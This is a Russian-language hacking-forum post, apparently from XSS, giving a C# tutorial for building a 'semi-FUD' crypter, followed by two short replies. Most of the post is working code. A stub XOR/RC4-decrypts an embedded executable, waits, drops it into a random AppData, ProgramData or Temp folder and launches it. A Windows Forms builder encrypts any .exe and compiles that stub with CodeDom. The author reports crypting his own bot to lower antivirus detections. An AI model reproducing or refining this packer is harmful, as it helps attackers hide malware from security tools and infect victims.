• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Пишем свой криптор на C#

top

(L3) cache
Пользователь
Регистрация
03.02.2020
Сообщения
252
Реакции
342
Привет, skriptkiddies, сегодня мы напишем свой полу-FUD криптор на языке богов (no) C#.

Итак, прежде чем приступить к кодингу, разберём какие варианты крипторов есть:
  • Имея байткод (любой .exe). То есть, вы сможете закриптовать файл, не зависимо от языка, на котором написана программа.
  • Имея исходники. Этот вариант предназначен только под программы, написанные на одном (с криптором) ЯП.
  • Крипторы с полиморфом/метаморфом. Если вкратце, то при помощи этих техник ваш криптор будет жить дольше, за счёт изменения кода файла, но при этом без изменения функционала.
В нашем случае мы будем писать криптор имея байткод. Приступим.


Первый затяг. Принцип работы нашего криптора. Код стаба.

В решении у нас будет два проекта. Стаб криптора, и сам криптор.

Криптор будет передавать зашифрованные байты стабу, а сам стаб их расшифрует, дропнет файл в рандомную папку, и запустит его. Звучит просто, да и на деле это будет несложно.

Создаём новый консольный проект:
7e6db1f1-a149-43a7-9af3-276cff1d7421.png


Объявим необходимые юзинги:
C#:
using System;
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Threading;
И теперь сделаем метод дропа файла в рандом папку и его запуска:
C#:
static void DropAndRun(byte[] bytes, string fileName) // В качестве аргументов принимаем байты и имя файла
        {
            string[] dirs = new string[] // Создаём массив папок, в один из которых будет дропаться файл
                {
                    Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), // AppData
                    Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData), // ProgramData
                    Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), // LocalAppData
                    Path.GetTempPath() // Temp
                };
C#:
            Random random = new Random(); // Создаём переменную random, для генерации случайного числа
            int pathIndex = random.Next(0, dirs.Length); // Определим индекс массива рандомно
C#:
string filePath = dirs[pathIndex] + "\\" + fileName; // Переменная, в которой хранится полный путь до файла
C#:
try
{
 if (File.Exists(filePath)) // Делаем проверку на наличие файла в папке
{
 File.Delete(filePath); // Если файл существует, то удаляем его
}     
File.WriteAllBytes(filePath, bytes); // Записываем байты в файл
Process.Start(filePath); // Запускаем
}
C#:
            catch { }
        }
f72dc8e3-162d-4e51-abba-3a8b601068f0.png

Далее просто скопируйте три метода: RC4 - который отвечает за шифр байтов, StringToByteArray - конвертирует строку в массив байтов, и XOR - который отвечает за шифр строки,

И импортируйте их в проект:
3d30c81d-9df9-4c72-b2a2-e486f830b386.png

Осталось "собрать" главный метод, и стаб готов. А главный метод выглядит так:
C#:
static void Main()
{
Thread.Sleep(6000); // Делаем небольшую задержку перед запуском
byte[] encryptedBytes = StringToByteArray(XOR("[BYTES]")); // Сначала принимаем строку зашифрованных байтов (RC4 + XOR), декодируем XOR, в конце получаем зашифрованные байты.
byte[] passBytes = Encoding.Default.GetBytes("[PASSWORD]"); // Получаем байты пароля для RC4
byte[] decryptedBytes = RC4(passBytes, encryptedBytes); // Декодируем байты
DropAndRun(decryptedBytes, "build.exe"); // Дропаем и запускаем чистый файл     
}
Стаб готов, теперь копируем весь код и создаём txt файл, в который помещаем наш код.

Второй затяг. Пишем GUI.

Создаём новый проект Windows Forms.
06172684-441a-4e0e-aba2-342aa8cdafd2.png

Добавим юзинги:
Код:
using Microsoft.CSharp;
using System;
using System.CodeDom.Compiler;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Windows.Forms;
В конструкторе добавляем 2 textbox'a, 3 button'a, ну и пару label'ов:
90af510d-94d2-46f8-8165-7e3009290c6d.png

Для кнопки выбора файла создаём диалоговое окно:
C#:
        private void button1_Click(object sender, EventArgs e)
        {
            OpenFileDialog dialog = new OpenFileDialog();
            dialog.Filter = "build.exe |*.exe";  // Фильтр
            if (dialog.ShowDialog() == DialogResult.OK)     
                textBox1.Text = dialog.FileName; // Добавляем полный путь до файла в textBox1           
        }
8a2d5a97-e0fc-4dbc-9503-aa8808422f45.png

Добавим методы шифра, получения рандомной строки, конвертирования массива байтов в строку:
C#:
        static string ByteArrayToString(byte[] ba)
        {
            return BitConverter.ToString(ba).Replace("-", "");
        }
C#:
        static string RandomString(int size)
        {
            Random random = new Random((int)DateTime.Now.Ticks);
C#:
            StringBuilder builder = new StringBuilder();
            char ch;
            for (int i = 0; i < size; i++)
            {
                ch = Convert.ToChar(Convert.ToInt32(Math.Floor(26 * random.NextDouble() + 65)));
                builder.Append(ch);
            }
C#:
            return builder.ToString();
        }
Ну и методы XOR и RC4 такие же.
6fea874d-ee64-42c8-8337-d81d7ae7c573.png

Для кнопки генерации ключа получаем рандом строку:
C#:
        private void button2_Click(object sender, EventArgs e)
        {
            Random rnd = new Random();
            int random = rnd.Next(6, 20); // Рандом цифра от 6 до 20
            textBox2.Text = RandomString(random); //Помещаем рандом строку, с рандомной длинной
        }
32c710fc-b249-4a31-984f-6a420d628065.png

Теперь добавляем наш txt с кодом стаба в ресурсы проекта:
42cb6bca-89e2-4565-9b60-cbfd41948271.png

И добавим код для кнопки Build:
Код:
        private void button3_Click(object sender, EventArgs e)
        {
            string bytesString = ByteArrayToString(RC4(Encoding.Default.GetBytes(textBox2.Text), File.ReadAllBytes(textBox1.Text))); //Шифруем байты, конвертируем шифрованные байты файла в строку
Код:
            CompilerParameters Params = new CompilerParameters();
            Params.GenerateExecutable = true;
C#:
            Params.ReferencedAssemblies.Add("System.dll"); // Добавляем ссылку на System.dll
            Params.CompilerOptions += "\n/t:winexe"; // Задаём тип выходных данных
            Params.OutputAssembly = "Crypted.exe"; // Имя файла
C#:
            string Source = Properties.Resources.Stub_2D2D; // Переменная, в которой хранится код стаба
            Source = Source.Replace("[BYTES]", XOR(bytesString)); // Заменяем строку [BYTES], на заксоренную строку с шифрованными байтами
            Source = Source.Replace("[PASSWORD]", textBox2.Text); // Заменяем пароль для RC4
Код:
            var settings = new Dictionary<string, string>();
            settings.Add("CompilerVersion", "v4.0"); // Указываем версию целевой платформы
Код:
            CompilerResults Results = new CSharpCodeProvider(settings).CompileAssemblyFromSource(Params, Source);
C#:
            if (Results.Errors.Count > 0)
            {
                foreach (CompilerError err in Results.Errors) // Если есть ошибки, выводим их циклом
                   MessageBox.Show(err.ToString());
            }
            else
            {
                MessageBox.Show("Crypted!", "2D2D Cryptor"); // Иначе, выводим сообщение, что всё гуд
            }
        }
bca5bbf3-0c07-4129-9b61-e38b2b0a9b4b.png

Криптор готов, проверяем.

5f4af8d8-ebb4-4585-ac4e-a0b7560bd478.png


Ну и детекты (криптовал своего бота):
51ee3caf-1f25-4383-9140-163dcc3e3f94.png


Автор Dark $ide Admin
взято с канала darkside_team
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Красиво, конечно, но толку от этого "криптора" нет никакого. Абсолютно.
С тем же успехом можно можно файл тупо в sfx-архив обернуть.

Обидно, конечно, что на таком прекрасном языке все пишут какие-то свистоперделки.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Its actual ?
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх